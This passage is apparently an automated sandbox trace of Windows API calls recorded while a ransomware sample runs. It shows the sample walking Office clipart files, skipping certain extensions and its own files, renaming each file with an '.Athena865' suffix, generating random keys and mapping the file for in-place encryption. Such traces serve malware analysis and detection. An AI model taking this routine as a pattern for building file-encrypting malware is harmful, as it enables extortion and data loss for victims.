lpString1=0x241e8ae, lpString2="PE00608_.WMF" | out: lpString1="PE00608_.WMF") returned="PE00608_.WMF" [0132.908] lstrlenW (lpString="PE00608_.WMF") returned 12 [0132.908] lstrlenW (lpString="Athena865") returned 9 [0132.908] lstrcmpiW (lpString1="0608_.WMF", lpString2="Athena865") returned -1 [0132.908] lstrlenW (lpString=".dll") returned 4 [0132.909] lstrcmpiW (lpString1="PE00608_.WMF", lpString2=".dll") returned 1 [0132.909] lstrlenW (lpString=".lnk") returned 4 [0132.909] lstrcmpiW (lpString1="PE00608_.WMF", lpString2=".lnk") returned 1 [0132.909] lstrlenW (lpString=".ini") returned 4 [0132.909] lstrcmpiW (lpString1="PE00608_.WMF", lpString2=".ini") returned 1 [0132.909] lstrlenW (lpString=".sys") returned 4 [0132.909] lstrcmpiW (lpString1="PE00608_.WMF", lpString2=".sys") returned 1 [0132.909] lstrlenW (lpString="PE00608_.WMF") returned 12 [0132.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.Athena865") returned 73 [0132.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.911] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6440) returned 1 [0132.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.911] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.912] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.912] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.912] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x154 [0132.914] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c30) returned 0x100000 [0132.914] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.915] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.915] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.916] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.916] CloseHandle (hObject=0x154) returned 1 [0132.916] CloseHandle (hObject=0x17c) returned 1 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.917] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.917] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00633_.WMF" | out: lpString1="PE00633_.WMF") returned="PE00633_.WMF" [0132.917] lstrlenW (lpString="PE00633_.WMF") returned 12 [0132.917] lstrlenW (lpString="Athena865") returned 9 [0132.917] lstrcmpiW (lpString1="0633_.WMF", lpString2="Athena865") returned -1 [0132.917] lstrlenW (lpString=".dll") returned 4 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2=".dll") returned 1 [0132.917] lstrlenW (lpString=".lnk") returned 4 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2=".lnk") returned 1 [0132.917] lstrlenW (lpString=".ini") returned 4 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2=".ini") returned 1 [0132.917] lstrlenW (lpString=".sys") returned 4 [0132.917] lstrcmpiW (lpString1="PE00633_.WMF", lpString2=".sys") returned 1 [0132.917] lstrlenW (lpString="PE00633_.WMF") returned 12 [0132.917] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.Athena865") returned 73 [0132.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.919] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19690) returned 1 [0132.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.919] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.920] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.920] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.920] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ff0, lpName=0x0) returned 0x154 [0132.921] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ff0) returned 0x100000 [0132.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.923] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.923] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.924] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.924] CloseHandle (hObject=0x154) returned 1 [0132.924] CloseHandle (hObject=0x17c) returned 1 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.924] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0132.924] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.925] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.925] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00640_.WMF" | out: lpString1="PE00640_.WMF") returned="PE00640_.WMF" [0132.925] lstrlenW (lpString="PE00640_.WMF") returned 12 [0132.925] lstrlenW (lpString="Athena865") returned 9 [0132.925] lstrcmpiW (lpString1="0640_.WMF", lpString2="Athena865") returned -1 [0132.925] lstrlenW (lpString=".dll") returned 4 [0132.925] lstrcmpiW (lpString1="PE00640_.WMF", lpString2=".dll") returned 1 [0132.925] lstrlenW (lpString=".lnk") returned 4 [0132.925] lstrcmpiW (lpString1="PE00640_.WMF", lpString2=".lnk") returned 1 [0132.925] lstrlenW (lpString=".ini") returned 4 [0132.925] lstrcmpiW (lpString1="PE00640_.WMF", lpString2=".ini") returned 1 [0132.925] lstrlenW (lpString=".sys") returned 4 [0132.925] lstrcmpiW (lpString1="PE00640_.WMF", lpString2=".sys") returned 1 [0132.925] lstrlenW (lpString="PE00640_.WMF") returned 12 [0132.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.Athena865") returned 73 [0132.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45356) returned 1 [0132.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.928] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.928] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.928] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb430, lpName=0x0) returned 0x154 [0132.930] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb430) returned 0x100000 [0132.932] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.933] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.933] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.934] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.934] CloseHandle (hObject=0x154) returned 1 [0132.934] CloseHandle (hObject=0x17c) returned 1 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.935] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.935] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00668_.WMF" | out: lpString1="PE00668_.WMF") returned="PE00668_.WMF" [0132.935] lstrlenW (lpString="PE00668_.WMF") returned 12 [0132.935] lstrlenW (lpString="Athena865") returned 9 [0132.935] lstrcmpiW (lpString1="0668_.WMF", lpString2="Athena865") returned -1 [0132.935] lstrlenW (lpString=".dll") returned 4 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2=".dll") returned 1 [0132.935] lstrlenW (lpString=".lnk") returned 4 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2=".lnk") returned 1 [0132.935] lstrlenW (lpString=".ini") returned 4 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2=".ini") returned 1 [0132.935] lstrlenW (lpString=".sys") returned 4 [0132.935] lstrcmpiW (lpString1="PE00668_.WMF", lpString2=".sys") returned 1 [0132.935] lstrlenW (lpString="PE00668_.WMF") returned 12 [0132.935] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.Athena865") returned 73 [0132.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.937] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24616) returned 1 [0132.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.937] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.938] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.938] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.938] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6330, lpName=0x0) returned 0x154 [0132.939] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6330) returned 0x100000 [0132.941] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.942] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.942] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.943] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00685_.WMF" | out: lpString1="PE00685_.WMF") returned="PE00685_.WMF" [0132.943] lstrlenW (lpString="PE00685_.WMF") returned 12 [0132.943] lstrlenW (lpString="Athena865") returned 9 [0132.943] lstrcmpiW (lpString1="0685_.WMF", lpString2="Athena865") returned -1 [0132.943] lstrlenW (lpString=".dll") returned 4 [0132.943] lstrcmpiW (lpString1="PE00685_.WMF", lpString2=".dll") returned 1 [0132.943] lstrlenW (lpString=".lnk") returned 4 [0132.943] lstrcmpiW (lpString1="PE00685_.WMF", lpString2=".lnk") returned 1 [0132.943] lstrlenW (lpString=".ini") returned 4 [0132.943] lstrcmpiW (lpString1="PE00685_.WMF", lpString2=".ini") returned 1 [0132.943] lstrlenW (lpString=".sys") returned 4 [0132.943] lstrcmpiW (lpString1="PE00685_.WMF", lpString2=".sys") returned 1 [0132.943] lstrlenW (lpString="PE00685_.WMF") returned 12 [0132.943] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.Athena865") returned 73 [0132.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.945] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4234) returned 1 [0132.950] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.950] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.950] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.951] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1390, lpName=0x0) returned 0x154 [0132.952] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1390) returned 0x100000 [0132.953] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.953] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.953] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.954] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE00686_.WMF" | out: lpString1="PE00686_.WMF") returned="PE00686_.WMF" [0132.954] lstrlenW (lpString="PE00686_.WMF") returned 12 [0132.954] lstrlenW (lpString="Athena865") returned 9 [0132.954] lstrcmpiW (lpString1="0686_.WMF", lpString2="Athena865") returned -1 [0132.954] lstrlenW (lpString=".dll") returned 4 [0132.954] lstrcmpiW (lpString1="PE00686_.WMF", lpString2=".dll") returned 1 [0132.954] lstrlenW (lpString=".lnk") returned 4 [0132.954] lstrcmpiW (lpString1="PE00686_.WMF", lpString2=".lnk") returned 1 [0132.954] lstrlenW (lpString=".ini") returned 4 [0132.954] lstrcmpiW (lpString1="PE00686_.WMF", lpString2=".ini") returned 1 [0132.954] lstrlenW (lpString=".sys") returned 4 [0132.954] lstrcmpiW (lpString1="PE00686_.WMF", lpString2=".sys") returned 1 [0132.954] lstrlenW (lpString="PE00686_.WMF") returned 12 [0132.954] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.Athena865") returned 73 [0132.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.956] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4398) returned 1 [0132.956] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.957] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.957] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.957] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1430, lpName=0x0) returned 0x154 [0132.960] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1430) returned 0x100000 